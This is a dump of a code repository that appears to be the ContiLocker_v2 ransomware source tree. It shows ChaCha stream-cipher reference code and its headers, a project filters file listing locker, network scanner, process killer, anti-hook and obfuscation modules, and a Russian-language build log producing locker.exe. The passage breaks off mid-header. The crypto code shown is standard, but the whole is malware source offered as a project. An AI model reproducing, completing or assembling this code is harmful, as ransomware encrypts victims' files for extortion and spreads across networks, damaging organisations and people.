x->input[3]; 75 | j4 = x->input[4]; 76 | j5 = x->input[5]; 77 | j6 = x->input[6]; 78 | j7 = x->input[7]; 79 | j8 = x->input[8]; 80 | j9 = x->input[9]; 81 | j10 = x->input[10]; 82 | j11 = x->input[11]; 83 | j12 = x->input[12]; 84 | j13 = x->input[13]; 85 | j14 = x->input[14]; 86 | j15 = x->input[15]; 87 | 88 | for (;;) { 89 | if (bytes < 64) { 90 | for (i = 0; i < bytes; ++i) tmp[i] = m[i]; 91 | m = tmp; 92 | ctarget = c; 93 | c = tmp; 94 | } 95 | x0 = j0; 96 | x1 = j1; 97 | x2 = j2; 98 | x3 = j3; 99 | x4 = j4; 100 | x5 = j5; 101 | x6 = j6; 102 | x7 = j7; 103 | x8 = j8; 104 | x9 = j9; 105 | x10 = j10; 106 | x11 = j11; 107 | x12 = j12; 108 | x13 = j13; 109 | x14 = j14; 110 | x15 = j15; 111 | for (i = 8; i > 0; i -= 2) { 112 | QUARTERROUND(x0, x4, x8, x12) 113 | QUARTERROUND(x1, x5, x9, x13) 114 | QUARTERROUND(x2, x6, x10, x14) 115 | QUARTERROUND(x3, x7, x11, x15) 116 | QUARTERROUND(x0, x5, x10, x15) 117 | QUARTERROUND(x1, x6, x11, x12) 118 | QUARTERROUND(x2, x7, x8, x13) 119 | QUARTERROUND(x3, x4, x9, x14) 120 | } 121 | x0 = PLUS(x0, j0); 122 | x1 = PLUS(x1, j1); 123 | x2 = PLUS(x2, j2); 124 | x3 = PLUS(x3, j3); 125 | x4 = PLUS(x4, j4); 126 | x5 = PLUS(x5, j5); 127 | x6 = PLUS(x6, j6); 128 | x7 = PLUS(x7, j7); 129 | x8 = PLUS(x8, j8); 130 | x9 = PLUS(x9, j9); 131 | x10 = PLUS(x10, j10); 132 | x11 = PLUS(x11, j11); 133 | x12 = PLUS(x12, j12); 134 | x13 = PLUS(x13, j13); 135 | x14 = PLUS(x14, j14); 136 | x15 = PLUS(x15, j15); 137 | 138 | x0 = XOR(x0, U8TO32_LITTLE(m + 0)); 139 | x1 = XOR(x1, U8TO32_LITTLE(m + 4)); 140 | x2 = XOR(x2, U8TO32_LITTLE(m + 8)); 141 | x3 = XOR(x3, U8TO32_LITTLE(m + 12)); 142 | x4 = XOR(x4, U8TO32_LITTLE(m + 16)); 143 | x5 = XOR(x5, U8TO32_LITTLE(m + 20)); 144 | x6 = XOR(x6, U8TO32_LITTLE(m + 24)); 145 | x7 = XOR(x7, U8TO32_LITTLE(m + 28)); 146 | x8 = XOR(x8, U8TO32_LITTLE(m + 32)); 147 | x9 = XOR(x9, U8TO32_LITTLE(m + 36)); 148 | x10 = XOR(x10, U8TO32_LITTLE(m + 40)); 149 | x11 = XOR(x11, U8TO32_LITTLE(m + 44)); 150 | x12 = XOR(x12, U8TO32_LITTLE(m + 48)); 151 | x13 = XOR(x13, U8TO32_LITTLE(m + 52)); 152 | x14 = XOR(x14, U8TO32_LITTLE(m + 56)); 153 | x15 = XOR(x15, U8TO32_LITTLE(m + 60)); 154 | 155 | j12 = PLUSONE(j12); 156 | if (!j12) { 157 | j13 = PLUSONE(j13); 158 | /* stopping at 2^70 bytes per nonce is user's responsibility */ 159 | } 160 | 161 | U32TO8_LITTLE(c + 0, x0); 162 | U32TO8_LITTLE(c + 4, x1); 163 | U32TO8_LITTLE(c + 8, x2); 164 | U32TO8_LITTLE(c + 12, x3); 165 | U32TO8_LITTLE(c + 16, x4); 166 | U32TO8_LITTLE(c + 20, x5); 167 | U32TO8_LITTLE(c + 24, x6); 168 | U32TO8_LITTLE(c + 28, x7); 169 | U32TO8_LITTLE(c + 32, x8); 170 | U32TO8_LITTLE(c + 36, x9); 171 | U32TO8_LITTLE(c + 40, x10); 172 | U32TO8_LITTLE(c + 44, x11); 173 | U32TO8_LITTLE(c + 48, x12); 174 | U32TO8_LITTLE(c + 52, x13); 175 | U32TO8_LITTLE(c + 56, x14); 176 | U32TO8_LITTLE(c + 60, x15); 177 | 178 | if (bytes <= 64) { 179 | if (bytes < 64) { 180 | for (i = 0; i < bytes; ++i) ctarget[i] = c[i]; 181 | } 182 | x->input[12] = j12; 183 | x->input[13] = j13; 184 | return; 185 | } 186 | bytes -= 64; 187 | c += 64; 188 | m += 64; 189 | } 190 | } 191 | 192 | void ECRYPT_decrypt_bytes(ECRYPT_ctx* x, const u8* c, u8* m, u32 bytes) 193 | { 194 | ECRYPT_encrypt_bytes(x, c, m, bytes); 195 | } 196 | 197 | void ECRYPT_keystream_bytes(ECRYPT_ctx* x, u8* stream, u32 bytes) 198 | { 199 | u32 i; 200 | for (i = 0; i < bytes; ++i) stream[i] = 0; 201 | ECRYPT_encrypt_bytes(x, stream, stream, bytes); 202 | } -------------------------------------------------------------------------------- /locker/locker.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {165ea550-1069-470d-8e36-a28bc3a7180c} 18 | 19 | 20 | {d1b0f5b5-d64c-4618-9d2e-04e875c9f50a} 21 | 22 | 23 | {fc6f6ce3-964e-473f-a59d-ccc43c0eaacc} 24 | 25 | 26 | {bf307e93-dd9e-4b43-aa17-ee102084f533} 27 | 28 | 29 | {01659ae8-4cdf-435e-8dc3-036871a135d0} 30 | 31 | 32 | {13e7e9b8-a8ae-40a2-9f74-e84a5ba1a716} 33 | 34 | 35 | {9fbc3d3e-8c3e-488e-bc9b-31f30638cdb0} 36 | 37 | 38 | {b03b3f3b-685e-477e-8da1-4c5e4a3f9f83} 39 | 40 | 41 | {ecbc043a-7559-4ad8-8568-dc2f307dc03d} 42 | 43 | 44 | {75b898e0-f1d0-4e99-ab4c-cd5492d5b499} 45 | 46 | 47 | {c7c03546-afee-40c5-b0d2-c3868227f570} 48 | 49 | 50 | {25a569ed-210e-4ff7-bce7-88e41c46680a} 51 | 52 | 53 | {55f7c8f8-408e-4f03-b1ba-685a733e2da9} 54 | 55 | 56 | 57 | 58 | Исходные файлы 59 | 60 | 61 | Исходные файлы\filesystem 62 | 63 | 64 | Исходные файлы\filesystem 65 | 66 | 67 | Исходные файлы\memory 68 | 69 | 70 | Исходные файлы\network_scanner 71 | 72 | 73 | Исходные файлы\locker 74 | 75 | 76 | Исходные файлы\locker 77 | 78 | 79 | Исходные файлы\locker\chacha20 80 | 81 | 82 | Исходные файлы\global 83 | 84 | 85 | Исходные файлы\api\antihooks 86 | 87 | 88 | api\murmurhash 89 | 90 | 91 | api 92 | 93 | 94 | Исходные файлы\logs 95 | 96 | 97 | Исходные файлы\process_killer 98 | 99 | 100 | 101 | 102 | Исходные файлы 103 | 104 | 105 | Исходные файлы\filesystem 106 | 107 | 108 | Исходные файлы\memory 109 | 110 | 111 | Исходные файлы 112 | 113 | 114 | Исходные файлы\obfuscation 115 | 116 | 117 | Исходные файлы\obfuscation 118 | 119 | 120 | Исходные файлы\network_scanner 121 | 122 | 123 | Исходные файлы\locker 124 | 125 | 126 | Исходные файлы\locker 127 | 128 | 129 | Исходные файлы\locker\chacha20 130 | 131 | 132 | Исходные файлы\locker\chacha20 133 | 134 | 135 | Исходные файлы\locker\chacha20 136 | 137 | 138 | Исходные файлы\locker\chacha20 139 | 140 | 141 | Исходные файлы\locker\chacha20 142 | 143 | 144 | Исходные файлы\global 145 | 146 | 147 | Исходные файлы\api\antihooks 148 | 149 | 150 | api\murmurhash 151 | 152 | 153 | api 154 | 155 | 156 | Исходные файлы\logs 157 | 158 | 159 | Исходные файлы\process_killer 160 | 161 | 162 | -------------------------------------------------------------------------------- /locker/Release/locker.log: -------------------------------------------------------------------------------- 1 | cl : командная строка warning D9014: недопустимое значение "2440" для "/wd"; использование "5999" 2 | antihooks.cpp 3 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 4 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\limits(210): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 5 | api.cpp 6 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 7 | api.cpp(5): warning C4005: HASHING_SEED: изменение макроопределения 8 | c:\source\contilocker_v2\locker\api.h(6): note: см. предыдущее определение "HASHING_SEED" 9 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 10 | disks.cpp 11 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 12 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 13 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 14 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 15 | global_parameters.cpp 16 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 17 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 18 | hash.cpp 19 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 20 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 21 | locker.cpp 22 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 23 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 24 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 25 | locker.cpp(589): warning C4018: <: несоответствие типов со знаком и без знака 26 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 27 | logs.cpp 28 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 29 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 30 | main.cpp 31 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 32 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 33 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 34 | main.cpp(173): warning C4244: аргумент: преобразование "LONGLONG" в "SIZE_T", возможна потеря данных 35 | main.cpp(183): warning C4244: аргумент: преобразование "LONGLONG" в "DWORD", возможна потеря данных 36 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 37 | memory.cpp 38 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 39 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 40 | network_scanner.cpp 41 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 42 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 43 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 44 | network_scanner.cpp(18): warning C4005: STOP_MARKER: изменение макроопределения 45 | c:\source\contilocker_v2\locker\threadpool.h(5): note: см. предыдущее определение "STOP_MARKER" 46 | network_scanner.cpp(91): warning C4101: InAddr: неиспользованная локальная переменная 47 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 48 | process_killer.cpp 49 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 50 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 51 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 52 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 53 | search.cpp 54 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 55 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 56 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 57 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 58 | threadpool.cpp 59 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\xlocale(341): warning C4530: Использован обработчик исключений C++, но семантика уничтожения объектов не включена. Задайте параметр /EHsc 60 | c:\source\contilocker_v2\locker\queue.h(118): warning C4005: SLIST_ENTRY: изменение макроопределения 61 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\include\winnt.h(12726): note: см. предыдущее определение "SLIST_ENTRY" 62 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include\exception(359): warning C4577: "noexcept" использовано без указания режима обработки исключений; прекращение по исключению не гарантируется. Укажите /EHsc 63 | cl : командная строка warning D9014: недопустимое значение "2440" для "/wd"; использование "5999" 64 | chacha.c 65 | chacha20\chacha.c(90): warning C4018: <: несоответствие типов со знаком и без знака 66 | chacha20\chacha.c(180): warning C4018: <: несоответствие типов со знаком и без знака 67 | Создание кода 68 | All 1829 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 69 | Создание кода завершено 70 | locker.vcxproj -> c:\source\ContiLocker_v2\Release\locker.exe 71 | -------------------------------------------------------------------------------- /locker/chacha20/ecrypt-portable.h: -------------------------------------------------------------------------------- 1 | /* ecrypt-portable.h */ 2 | 3 | /* 4 | * WARNING: the conversions defined below are implemented as macros, 5 | * and should be used carefully. They should NOT be used with 6 | * parameters which perform some action. E.g., the following two lines 7 | * are not equivalent: 8 | * 9 | * 1) ++x; y = ROTL32(x, n); 10 | * 2) y = ROTL32(++x, n); 11 | */ 12 | 13 | /* 14 | * *** Please do not edit this file. *** 15 | * 16 | * The default macros can be overridden for specific architectures by 17 | * editing 'ecrypt-machine.h'. 18 | */ 19 | 20 | #ifndef ECRYPT_PORTABLE 21 | #define ECRYPT_PORTABLE 22 | 23 | #include "ecrypt-config.h" 24 | 25 | /* ------------------------------------------------------------------------- */ 26 | 27 | /* 28 | * The following types are defined (if available): 29 | * 30 | * u8: unsigned integer type, at least 8 bits 31 | * u16: unsigned integer type, at least 16 bits 32 | * u32: unsigned integer type, at least 32 bits 33 | * u64: unsigned integer type, at least 64 bits 34 | * 35 | * s8, s16, s32, s64 -> signed counterparts of u8, u16, u32, u64 36 | * 37 | * The selection of minimum-width integer types is taken care of by 38 | * 'ecrypt-config.h'. Note: to enable 64-bit types on 32-bit 39 | * compilers, it might be necessary to switch from ISO C90 mode to ISO 40 | * C99 mode (e.g., gcc -std=c99). 41 | */ 42 | 43 | #ifdef I8T 44 | typedef signed I8T s8; 45 | typedef unsigned I8T u8; 46 | #endif 47 | 48 | #ifdef I16T 49 | typedef signed I16T s16; 50 | typedef unsigned I16T u16; 51 | #endif 52 | 53 | #ifdef I32T 54 | typedef signed I32T s32; 55 | typedef unsigned I32T u32; 56 | #endif 57 | 58 | #ifdef I64T 59 | typedef signed I64T s64; 60 | typedef unsigned I64T u64; 61 | #endif 62 | 63 | /* 64 | * The following macros are used to obtain exact-width results. 65 | */ 66 | 67 | #define U8V(v) ((u8)(v) & U8C(0xFF)) 68 | #define U16V(v) ((u16)(v) & U16C(0xFFFF)) 69 | #define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF)) 70 | #define U64V(v) ((u64)(v) & U64C(0xFFFFFFFFFFFFFFFF)) 71 | 72 | /* ------------------------------------------------------------------------- */ 73 | 74 | /* 75 | * The following macros return words with their bits rotated over n 76 | * positions to the left/right. 77 | */ 78 | 79 | #define ECRYPT_DEFAULT_ROT 80 | 81 | #define ROTL8(v, n) \ 82 | (U8V((v) << (n)) | ((v) >> (8 - (n)))) 83 | 84 | #define ROTL16(v, n) \ 85 | (U16V((v) << (n)) | ((v) >> (16 - (n)))) 86 | 87 | #define ROTL32(v, n) \ 88 | (U32V((v) << (n)) | ((v) >> (32 - (n)))) 89 | 90 | #define ROTL64(v, n) \ 91 | (U64V((v) << (n)) | ((v) >> (64 - (n)))) 92 | 93 | #define ROTR8(v, n) ROTL8(v, 8 - (n)) 94 | #define ROTR16(v, n) ROTL16(v, 16 - (n)) 95 | #define ROTR32(v, n) ROTL32(v, 32 - (n)) 96 | #define ROTR64(v, n) ROTL64(v, 64 - (n)) 97 | 98 | #include "ecrypt-machine.h" 99 | 100 | /* ------------------------------------------------------------------------- */ 101 | 102 | /* 103 | * The following macros return a word with bytes in reverse order. 104 | */ 105 | 106 | #define ECRYPT_DEFAULT_SWAP 107 | 108 | #define SWAP16(v) \ 109 | ROTL16(v, 8) 110 | 111 | #define SWAP32(v) \ 112 | ((ROTL32(v, 8) & U32C(0x00FF00FF)) | \ 113 | (ROTL32(v, 24) & U32C(0xFF00FF00))) 114 | 115 | #ifdef ECRYPT_NATIVE64 116 | #define SWAP64(v) \ 117 | ((ROTL64(v, 8) & U64C(0x000000FF000000FF)) | \ 118 | (ROTL64(v, 24) & U64C(0x0000FF000000FF00)) | \ 119 | (ROTL64(v, 40) & U64C(0x00FF000000FF0000)) | \ 120 | (ROTL64(v, 56) & U64C(0xFF000000FF000000))) 121 | #else 122 | #define SWAP64(v) \ 123 | (((u64)SWAP32(U32V(v)) << 32) | (u64)SWAP32(U32V(v >> 32))) 124 | #endif 125 | 126 | #include "ecrypt-machine.h" 127 | 128 | #define ECRYPT_DEFAULT_WTOW 129 | 130 | #ifdef ECRYPT_LITTLE_ENDIAN 131 | #define U16TO16_LITTLE(v) (v) 132 | #define U32TO32_LITTLE(v) (v) 133 | #define U64TO64_LITTLE(v) (v) 134 | 135 | #define U16TO16_BIG(v) SWAP16(v) 136 | #define U32TO32_BIG(v) SWAP32(v) 137 | #define U64TO64_BIG(v) SWAP64(v) 138 | #endif 139 | 140 | #ifdef ECRYPT_BIG_ENDIAN 141 | #define U16TO16_LITTLE(v) SWAP16(v) 142 | #define U32TO32_LITTLE(v) SWAP32(v) 143 | #define U64TO64_LITTLE(v) SWAP64(v) 144 | 145 | #define U16TO16_BIG(v) (v) 146 | #define U32TO32_BIG(v) (v) 147 | #define U64TO64_BIG(v) (v) 148 | #endif 149 | 150 | #include "ecrypt-machine.h" 151 | 152 | /* 153 | * The following macros load words from an array of bytes with 154 | * different types of endianness, and vice versa. 155 | */ 156 | 157 | #define ECRYPT_DEFAULT_BTOW 158 | 159 | #if (!defined(ECRYPT_UNKNOWN) && defined(ECRYPT_I8T_IS_BYTE)) 160 | 161 | #define U8TO16_LITTLE(p) U16TO16_LITTLE(((u16*)(p))[0]) 162 | #define U8TO32_LITTLE(p) U32TO32_LITTLE(((u32*)(p))[0]) 163 | #define U8TO64_LITTLE(p) U64TO64_LITTLE(((u64*)(p))[0]) 164 | 165 | #define U8TO16_BIG(p) U16TO16_BIG(((u16*)(p))[0]) 166 | #define U8TO32_BIG(p) U32TO32_BIG(((u32*)(p))[0]) 167 | #define U8TO64_BIG(p) U64TO64_BIG(((u64*)(p))[0]) 168 | 169 | #define U16TO8_LITTLE(p, v) (((u16*)(p))[0] = U16TO16_LITTLE(v)) 170 | #define U32TO8_LITTLE(p, v) (((u32*)(p))[0] = U32TO32_LITTLE(v)) 171 | #define U64TO8_LITTLE(p, v) (((u64*)(p))[0] = U64TO64_LITTLE(v)) 172 | 173 | #define U16TO8_BIG(p, v) (((u16*)(p))[0] = U16TO16_BIG(v)) 174 | #define U32TO8_BIG(p, v) (((u32*)(p))[0] = U32TO32_BIG(v)) 175 | #define U64TO8_BIG(p, v) (((u64*)(p))[0] = U64TO64_BIG(v)) 176 | 177 | #else 178 | 179 | #define U8TO16_LITTLE(p) \ 180 | (((u16)((p)[0]) ) | \ 181 | ((u16)((p)[1]) << 8)) 182 | 183 | #define U8TO32_LITTLE(p) \ 184 | (((u32)((p)[0]) ) | \ 185 | ((u32)((p)[1]) << 8) | \ 186 | ((u32)((p)[2]) << 16) | \ 187 | ((u32)((p)[3]) << 24)) 188 | 189 | #ifdef ECRYPT_NATIVE64 190 | #define U8TO64_LITTLE(p) \ 191 | (((u64)((p)[0]) ) | \ 192 | ((u64)((p)[1]) << 8) | \ 193 | ((u64)((p)[2]) << 16) | \ 194 | ((u64)((p)[3]) << 24) | \ 195 | ((u64)((p)[4]) << 32) | \ 196 | ((u64)((p)[5]) << 40) | \ 197 | ((u64)((p)[6]) << 48) | \ 198 | ((u64)((p)[7]) << 56)) 199 | #else 200 | #define U8TO64_LITTLE(p) \ 201 | ((u64)U8TO32_LITTLE(p) | ((u64)U8TO32_LITTLE((p) + 4) << 32)) 202 | #endif 203 | 204 | #define U8TO16_BIG(p) \ 205 | (((u16)((p)[0]) << 8) | \ 206 | ((u16)((p)[1]) )) 207 | 208 | #define U8TO32_BIG(p) \ 209 | (((u32)((p)[0]) << 24) | \ 210 | ((u32)((p)[1]) << 16) | \ 211 | ((u32)((p)[2]) << 8) | \ 212 | ((u32)((p)[3]) )) 213 | 214 | #ifdef ECRYPT_NATIVE64 215 | #define U8TO64_BIG(p) \ 216 | (((u64)((p)[0]) << 56) | \ 217 | ((u64)((p)[1]) << 48) | \ 218 | ((u64)((p)[2]) << 40) | \ 219 | ((u64)((p)[3]) << 32) | \ 220 | ((u64)((p)[4]) << 24) | \ 221 | ((u64)((p)[5]) << 16) | \ 222 | ((u64)((p)[6]) << 8) | \ 223 | ((u64)((p)[7]) )) 224 | #else 225 | #define U8TO64_BIG(p) \ 226 | (((u64)U8TO32_BIG(p) << 32) | (u64)U8TO32_BIG((p) + 4)) 227 | #endif 228 | 229 | #define U16TO8_LITTLE(p, v) \ 230 | do { \ 231 | (p)[0] = U8V((v) ); \ 232 | (p)[1] = U8V((v) >> 8); \ 233 | } while (0) 234 | 235 | #define U32TO8_LITTLE(p, v) \ 236 | do { \ 237 | (p)[0] = U8V((v) ); \ 238 | (p)[1] = U8V((v) >> 8); \ 239 | (p)[2] = U8V((v) >> 16); \ 240 | (p)[3] = U8V((v) >> 24); \ 241 | } while (0) 242 | 243 | #ifdef ECRYPT_NATIVE64 244 | #define U64TO8_LITTLE(p, v) \ 245 | do { \ 246 | (p)[0] = U8V((v) ); \ 247 | (p)[1] = U8V((v) >> 8); \ 248 | (p)[2] = U8V((v) >> 16); \ 249 | (p)[3] = U8V((v) >> 24); \ 250 | (p)[4] = U8V((v) >> 32); \ 251 | (p)[5] = U8V((v) >> 40); \ 252 | (p)[6] = U8V((v) >> 48); \ 253 | (p)[7] = U8V((v) >> 56); \ 254 | } while (0) 255 | #else 256 | #define U64TO8_LITTLE(p, v) \ 257 | do { \ 258 | U32TO8_LITTLE((p), U32V((v) )); \ 259 | U32TO8_LITTLE((p) + 4, U32V((v) >> 32)); \ 260 | } while (0) 261 | #endif 262 | 263 | #define U16TO8_BIG(p, v) \ 264 | do { \ 265 | (p)[0] = U8V((v) ); \ 266 | (p)[1] = U8V((v) >> 8); \ 267 | } while (0) 268 | 269 | #define U32TO8_BIG(p, v) \ 270 | do { \ 271 | (p)[0] = U8V((v) >> 24); \ 272 | (p)[1] = U8V((v) >> 16); \ 273 | (p)[2] = U8V((v) >> 8); \ 274 | (p)[3] = U8V((v) ); \ 275 | } while (0) 276 | 277 | #ifdef ECRYPT_NATIVE64 278 | #define U64TO8_BIG(p, v) \ 279 | do { \ 280 | (p)[0] = U8V((v) >> 56); \ 281 | (p)[1] = U8V((v) >> 48); \ 282 | (p)[2] = U8V((v) >> 40); \ 283 | (p)[3] = U8V((v) >> 32); \ 284 | (p)[4] = U8V((v) >> 24); \ 285 | (p)[5] = U8V((v) >> 16); \ 286 | (p)[6] = U8V((v) >> 8); \ 287 | (p)[7] = U8V((v) ); \ 288 | } while (0) 289 | #else 290 | #define U64TO8_BIG(p, v) \ 291 | do { \ 292 | U32TO8_BIG((p), U32V((v) >> 32)); \ 293 | U32TO8_BIG((p) + 4, U32V((v) )); \ 294 | } while (0) 295 | #endif 296 | 297 | #endif 298 | 299 | #include "ecrypt-machine.h" 300 | 301 | /* ------------------------------------------------------------------------- */ 302 | 303 | #endif -------------------------------------------------------------------------------- /locker/chacha20/ecrypt-sync.h: -------------------------------------------------------------------------------- 1 | /* ecrypt-sync.h */ 2 | 3 | /* 4 | * Header file for synchronous stream ciphers without authentication 5 | * mechanism. 6 | * 7 | * *** Please only edit parts marked with "[edit]". *** 8 | */ 9 | 10 | #ifndef ECRYPT_SYNC 11 | #define ECRYPT_SYNC 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | 18 | #include "ecrypt-portable.h" 19 | 20 | /* ------------------------------------------------------------------------- */ 21 | 22 | /* Cipher parameters */ 23 | 24 | /* 25 | * The name of your cipher. 26 | */ 27 | #define ECRYPT_NAME "ChaCha8" 28 | #define ECRYPT_PROFILE "_____" 29 | 30 | /* 31 | * Specify which key and IV sizes are supported by your cipher. A user 32 | * should be able to enumerate the supported sizes by running the 33 | * following code: 34 | * 35 | * for (i = 0; ECRYPT_KEYSIZE(i) <= ECRYPT_MAXKEYSIZE; ++i) 36 | * { 37 | * keysize = ECRYPT_KEYSIZE(i); 38 | * 39 | * ... 40 | * } 41 | * 42 | * All sizes are in bits. 43 | */ 44 | 45 | #define ECRYPT_MAXKEYSIZE 256 /* [edit] */ 46 | #define ECRYPT_KEYSIZE(i) (128 + (i)*128) /* [edit] */ 47 | 48 | #define ECRYPT_MAXIVSIZE 64 /* [edit] */ 49 | #define ECRYPT_IVSIZE(i) (64 + (i)*64) /* [edit] */ 50 | 51 | /* ------------------------------------------------------------------------- */ 52 | 53 | /* Data structures */ 54 | 55 | /* 56 | * ECRYPT_ctx is the structure containing the representation of the 57 | * internal state of your cipher. 58 | */ 59 | 60 | typedef struct 61 | { 62 | u32 input[16]; /* could be compressed */ 63 | /* 64 | * [edit] 65 | * 66 | * Put here all state variable needed during the encryption process. 67 | */ 68 | } ECRYPT_ctx; 69 | 70 | /* ------------------------------------------------------------------------- */ 71 | 72 | /* Mandatory functions */ 73 | 74 | /* 75 | * Key and message independent initialization. This function will be 76 | * called once when the program starts (e.g., to build expanded S-box 77 | * tables). 78 | */ 79 | void ECRYPT_init(); 80 | 81 | /* 82 | * Key setup. It is the user's responsibility to select the values of 83 | * keysize and ivsize from the set of supported values specified 84 | * above. 85 | */ 86 | void ECRYPT_keysetup( 87 | ECRYPT_ctx* ctx, 88 | const u8* key, 89 | u32 keysize, /* Key size in bits. */ 90 | u32 ivsize); /* IV size in bits. */ 91 | 92 | /* 93 | * IV setup. After having called ECRYPT_keysetup(), the user is 94 | * allowed to call ECRYPT_ivsetup() different times in order to 95 | * encrypt/decrypt different messages with the same key but different 96 | * IV's. 97 | */ 98 | void ECRYPT_ivsetup( 99 | ECRYPT_ctx* ctx, 100 | const u8* iv); 101 | 102 | /* 103 | * Encryption/decryption of arbitrary length messages. 104 | * 105 | * For efficiency reasons, the API provides two types of 106 | * encrypt/decrypt functions. The ECRYPT_encrypt_bytes() function 107 | * (declared here) encrypts byte strings of arbitrary length, while 108 | * the 